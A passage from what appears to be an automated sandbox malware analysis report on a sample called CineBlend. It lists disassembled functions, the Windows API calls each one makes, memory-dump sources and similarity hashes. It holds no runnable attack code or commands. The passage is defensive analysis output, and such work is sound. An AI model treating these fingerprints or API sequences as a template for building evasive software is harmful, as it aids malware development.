                                  • CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00B378B1
                                  • GetStockObject.GDI32(00000011), ref: 00B378C5
                                  • SendMessageW.USER32(00000000,00000030,00000000), ref: 00B378CF
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CreateMessageObjectSendStockWindow
                                  • String ID:
                                  • API String ID: 3970641297-0
                                  • Opcode ID: e470a3a5e4d1dc7d27e98166164a2883535f65daeaeb807cc0f3fbca6d4e698d
                                  • Instruction ID: f69c9870c8f5fb69c1d9b59bf681f67c34e9253d3e4a70b862082a79f0745dff
                                  • Opcode Fuzzy Hash: e470a3a5e4d1dc7d27e98166164a2883535f65daeaeb807cc0f3fbca6d4e698d
                                  • Instruction Fuzzy Hash: 1311D2B2505508BFDF225F95CC98EEABBADFF08364F140166FA0452120DB31DC60EBA0
                                  Function 00B633E6 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00BA11D9,00000000,00000000,?,00B6338D,00BA11D9,00000000,00000000,00000000,?,00B635FE,00000006,FlsSetValue), ref: 00B63418
                                  • GetLastError.KERNEL32(?,00B6338D,00BA11D9,00000000,00000000,00000000,?,00B635FE,00000006,FlsSetValue,00BD3260,FlsSetValue,00000000,00000364,?,00B631B9), ref: 00B63424
                                  • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00B6338D,00BA11D9,00000000,00000000,00000000,?,00B635FE,00000006,FlsSetValue,00BD3260,FlsSetValue,00000000), ref: 00B63432
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: LibraryLoad$ErrorLast
                                  • String ID:
                                  • API String ID: 3177248105-0
                                  • Opcode ID: f4b106b55e311389980f1279ba04b419c9273b816f9b4433b0c2aa10cb2fe146
                                  • Instruction ID: 5eec95abbb5aa9e33d8b733bc1de793fb4a9bc24b24662471540180cdbc24383
                                  • Opcode Fuzzy Hash: f4b106b55e311389980f1279ba04b419c9273b816f9b4433b0c2aa10cb2fe146
                                  • Instruction Fuzzy Hash: 50017136A112229BCB224B69DC84A5ABBD8EF45FA17250660F906D7381DF28DD01C6E0
                                  Function 00B97DCB Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetModuleFileNameW.KERNEL32(?,?,00000104,00000000), ref: 00B97DE6
                                  • LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00B97DFE
                                  • RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 00B97E13
                                  • RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 00B97E31
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Type$Register$FileLoadModuleNameUser
                                  • String ID:
                                  • API String ID: 1352324309-0
                                  • Opcode ID: cf35dc32ab59136ffe277e5eb60307ee4b169db8777513a0780b146902969d23
                                  • Instruction ID: 71629c90658cda191449bc7185b91a40983a94bd8d397bfe658079903801fb5a
                                  • Opcode Fuzzy Hash: cf35dc32ab59136ffe277e5eb60307ee4b169db8777513a0780b146902969d23
                                  • Instruction Fuzzy Hash: 29116DB9259B05ABEB208F64ED48F927BFCEB04B00F1085F9A616D7150EBB0ED04DB50
                                  Function 00B9BA6F Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON
                                  Download Yara Rule
                                  APIs
                                  • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00B9B69A,?,00008000), ref: 00B9BA8B
                                  • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,00B9B69A,?,00008000), ref: 00B9BAB0
                                  • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00B9B69A,?,00008000), ref: 00B9BABA
                                  • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,00B9B69A,?,00008000), ref: 00B9BAED
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CounterPerformanceQuerySleep
                                  • String ID:
                                  • API String ID: 2875609808-0
                                  • Opcode ID: 4c4a743734c26f15ff228f5d59ad93e7540ef11751523c8f642c3bf7ee3492f3
                                  • Instruction ID: ce1a2000e60322690d5c945d228544b99fcc9ac92a9f9ae0dfe21bde54477d61
                                  • Opcode Fuzzy Hash: 4c4a743734c26f15ff228f5d59ad93e7540ef11751523c8f642c3bf7ee3492f3
                                  • Instruction Fuzzy Hash: FD112771C00A29E7CF00AFA5EA49AEEBBB8BF09711F1141A5D941B3140CF3096508BA5
                                  Function 00BC886F Relevance: 6.0, APIs: 4, Instructions: 46COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetWindowRect.USER32(?,?), ref: 00BC888E
                                  • ScreenToClient.USER32(?,?), ref: 00BC88A6
                                  • ScreenToClient.USER32(?,?), ref: 00BC88CA
                                  • InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00BC88E5
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ClientRectScreen$InvalidateWindow
                                  • String ID:
                                  • API String ID: 357397906-0
                                  • Opcode ID: 599c616f5c55b2f173d8a0845fb0632c3d22d6008a3cfd394a3e38f726948ffb
                                  • Instruction ID: 1325904e1888a8c131c811084f6622b8f2e2fb7f0385c812a0935693e54365fd
                                  • Opcode Fuzzy Hash: 599c616f5c55b2f173d8a0845fb0632c3d22d6008a3cfd394a3e38f726948ffb
                                  • Instruction Fuzzy Hash: 6B1140B9D00209AFDB41CFA8C884AEEBBF5FB08310F508166E915E3650DB35AA54CF50
                                  Function 00B936F4 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00B93712
                                  • GetWindowThreadProcessId.USER32(?,00000000), ref: 00B93723
                                  • GetCurrentThreadId.KERNEL32 ref: 00B9372A
                                  • AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00B93731
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                                  • String ID:
                                  • API String ID: 2710830443-0
                                  • Opcode ID: f107c90e14cf7387c3f4ad60fe1380b7a4912b8552c37e7143708f07df467421
                                  • Instruction ID: dbfcba744fd42dd1c5a30007fba44aaea34170d944c47b1f6176b417a1ff91c7
                                  • Opcode Fuzzy Hash: f107c90e14cf7387c3f4ad60fe1380b7a4912b8552c37e7143708f07df467421
                                  • Instruction Fuzzy Hash: 7AE06DB52012247BDA2017A29C8DEEBBFACDB4ABA1F000075F105D2080DEB48941C2B0
                                  Function 00BC92BF Relevance: 6.0, APIs: 4, Instructions: 31COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B31F2D: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00B31F87
                                    • Part of subcall function 00B31F2D: SelectObject.GDI32(?,00000000), ref: 00B31F96
                                    • Part of subcall function 00B31F2D: BeginPath.GDI32(?), ref: 00B31FAD
                                    • Part of subcall function 00B31F2D: SelectObject.GDI32(?,00000000), ref: 00B31FD6
                                  • MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 00BC92E3
                                  • LineTo.GDI32(?,?,?), ref: 00BC92F0
                                  • EndPath.GDI32(?), ref: 00BC9300
                                  • StrokePath.GDI32(?), ref: 00BC930E
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
                                  • String ID:
                                  • API String ID: 1539411459-0
                                  • Opcode ID: 39d06ea1e29faa8d228ebff6c98755fa95c67ebb6a7d45052845c8a27af308ab
                                  • Instruction ID: 3315b87b96c738024cc856d6dbcae9dfd544f8f326a03adf8940effab91f5e78
                                  • Opcode Fuzzy Hash: 39d06ea1e29faa8d228ebff6c98755fa95c67ebb6a7d45052845c8a27af308ab
                                  • Instruction Fuzzy Hash: F3F08236005258BBEB125F58AC0EFCE3F99AF0E320F048045FA11220E1CB759522DFE9
                                  Function 00B321A0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetSysColor.USER32(00000008), ref: 00B321BC
                                  • SetTextColor.GDI32(?,?), ref: 00B321C6
                                  • SetBkMode.GDI32(?,00000001), ref: 00B321D9
                                  • GetStockObject.GDI32(00000005), ref: 00B321E1
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Color$ModeObjectStockText
                                  • String ID:
                                  • API String ID: 4037423528-0
                                  • Opcode ID: 69f7fe715f42ec845e813e003aec2fa16a7201502032466685cb065a80fad3ab
                                  • Instruction ID: a1313dbac295a352015b7eac5e0626208386af67d400ee529d9d6cfc420064ce
                                  • Opcode Fuzzy Hash: 69f7fe715f42ec845e813e003aec2fa16a7201502032466685cb065a80fad3ab
                                  • Instruction Fuzzy Hash: 23E06535240640AEDB215B74AC09BE87B91EB15736F18C269F7B9650E0CB718640AB11
                                  Function 00B8EC36 Relevance: 6.0, APIs: 4, Instructions: 19COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetDesktopWindow.USER32 ref: 00B8EC36
                                  • GetDC.USER32(00000000), ref: 00B8EC40
                                  • GetDeviceCaps.GDI32(00000000,0000000C), ref: 00B8EC60
                                  • ReleaseDC.USER32(?), ref: 00B8EC81
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CapsDesktopDeviceReleaseWindow
                                  • String ID:
                                  • API String ID: 2889604237-0
                                  • Opcode ID: a9edd905892d02c913db1298dd695b1bef75d1f9046c1a8010ff27e21ed0fcbd
                                  • Instruction ID: ef5c44ddb25d5c201bf54dea4bc65ac48be3554ad629a37eee4c6d73e2b29939
                                  • Opcode Fuzzy Hash: a9edd905892d02c913db1298dd695b1bef75d1f9046c1a8010ff27e21ed0fcbd
                                  • Instruction Fuzzy Hash: CBE09AB9C00204EFCB41AFA4D949E5DBBF5FB5C311F1084A9E95AE3250CB789942EF10
                                  Function 00B8EC4A Relevance: 6.0, APIs: 4, Instructions: 18COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetDesktopWindow.USER32 ref: 00B8EC4A
                                  • GetDC.USER32(00000000), ref: 00B8EC54
                                  • GetDeviceCaps.GDI32(00000000,0000000C), ref: 00B8EC60
                                  • ReleaseDC.USER32(?), ref: 00B8EC81
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CapsDesktopDeviceReleaseWindow
                                  • String ID:
                                  • API String ID: 2889604237-0
                                  • Opcode ID: a84d174a79184f5e52dcf74a908cde3991fc4378c97177c05ccabc622f24d26b
                                  • Instruction ID: 97cd57f970b985fa5d3622a0f8e0c35b49c9f47fe6af2674a9cb7339c6a1ce78
                                  • Opcode Fuzzy Hash: a84d174a79184f5e52dcf74a908cde3991fc4378c97177c05ccabc622f24d26b
                                  • Instruction Fuzzy Hash: BCE09AB9C00204DFCB519FA4D949A5DBBF5BB5C311F108469E959E3250CB785902DF10
                                  Function 00BA57CC Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B341EA: _wcslen.LIBCMT ref: 00B341EF
                                  • WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 00BA5919
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Connection_wcslen
                                  • String ID: *$LPT
                                  • API String ID: 1725874428-3443410124
                                  • Opcode ID: 0ab313e47c23900de08bd186d002f85b203f16ebd1844880917b22d09b5920d3
                                  • Instruction ID: a5a5b8d060047a0b35e74b6f93b29b202282057a2a3d2b10ee98750ed10434c2
                                  • Opcode Fuzzy Hash: 0ab313e47c23900de08bd186d002f85b203f16ebd1844880917b22d09b5920d3
                                  • Instruction Fuzzy Hash: 19916875A04604DFCB24DF54C494AAABBF1EF49314F1980D9E84A9F362C735EE85CB90
                                  Function 00B5E5ED Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON
                                  Download Yara Rule
                                  APIs
                                  • __startOneArgErrorHandling.LIBCMT ref: 00B5E67D
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ErrorHandling__start
                                  • String ID: pow
                                  • API String ID: 3213639722-2276729525
                                  • Opcode ID: 24cc6bd3601349fcc0a1c0bccf8335377958ce7aac9f6d2f7fc42dc4b7f86d64
                                  • Instruction ID: 6e99a8a521f15e107aae5d5a257b2c72e2a708e054ac79fde84acfc8d893eac9
                                  • Opcode Fuzzy Hash: 24cc6bd3601349fcc0a1c0bccf8335377958ce7aac9f6d2f7fc42dc4b7f86d64
                                  • Instruction Fuzzy Hash: 6E51D060E0910286C7197714CD5137A6BE0EB15B81F304FD9F8A5922E9EF39CF8A9A47
                                  Function 00B4A8EC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: #
                                  • API String ID: 0-1885708031
                                  • Opcode ID: 3ecb4fb07f17483ad78d213fa62ff5ffb75334cc160bf25241fd155114e37717
                                  • Instruction ID: 9d32120f2d50fa5cc4218185317f54daa713b79aa198d407fa41f67db762666e
                                  • Opcode Fuzzy Hash: 3ecb4fb07f17483ad78d213fa62ff5ffb75334cc160bf25241fd155114e37717
                                  • Instruction Fuzzy Hash: 96510136504246DFCB25EF28C481AFA7BE4EF15310FA840D5F8919B3E1DA349E82DB61
                                  Function 00B4F6CA Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON
                                  Download Yara Rule
                                  APIs
                                  • Sleep.KERNEL32(00000000), ref: 00B4F6DB
                                  • GlobalMemoryStatusEx.KERNEL32(?), ref: 00B4F6F4
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: GlobalMemorySleepStatus
                                  • String ID: @
                                  • API String ID: 2783356886-2766056989
                                  • Opcode ID: 7212d11ae88ca4178ae38dcea5d7217bbbc3f1c2d6e5661c1d5dda89b470debf
                                  • Instruction ID: cc5e19790cce756345e0108f343006778481d6cd441348b6b28eb01509300329
                                  • Opcode Fuzzy Hash: 7212d11ae88ca4178ae38dcea5d7217bbbc3f1c2d6e5661c1d5dda89b470debf
                                  • Instruction Fuzzy Hash: 405139B1408748ABD320AF10DC86BABB7ECFB94304F91489EF1D952191DF709529CB67
                                  Function 00BB61A2 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: BuffCharUpper_wcslen
                                  • String ID: CALLARGARRAY
                                  • API String ID: 157775604-1150593374
                                  • Opcode ID: a526bf40d9c61834ff601a16746eb9ce28fc16d2afa0b1008ab48abeb72b6154
                                  • Instruction ID: a9828c16c1b28e6c980638eda522e1fb24f34d49cdb9a41d7db399a9c04c8057
                                  • Opcode Fuzzy Hash: a526bf40d9c61834ff601a16746eb9ce28fc16d2afa0b1008ab48abeb72b6154
                                  • Instruction Fuzzy Hash: DE41BD75E002199FDB04DFA8C8819FEBBF5FF58364F1040A9E506A7252EBB49D81CB90
                                  Function 00BADB39 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON
                                  Download Yara Rule
                                  APIs
                                  • _wcslen.LIBCMT ref: 00BADB75
                                  • InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00BADB7F
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CrackInternet_wcslen
                                  • String ID: |
                                  • API String ID: 596671847-2343686810
                                  • Opcode ID: befcff9f68c9ed4cdf34d1255ccca1e292b0ade8fad77675f84360bdde2a6c21
                                  • Instruction ID: 9af2a1de2afb58070c1517ff528c9d397b8d00c43e6f27752be9f136b4561e28
                                  • Opcode Fuzzy Hash: befcff9f68c9ed4cdf34d1255ccca1e292b0ade8fad77675f84360bdde2a6c21
                                  • Instruction Fuzzy Hash: 08316D71801219ABCF05DFA4CC85EEEBFF9FF05314F5000A9F919A6166EB719A06CB60
                                  Function 00BC4008 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON
                                  Download Yara Rule
                                  APIs
                                  • DestroyWindow.USER32(?,?,?,?), ref: 00BC40BD
                                  • MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00BC40F8
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
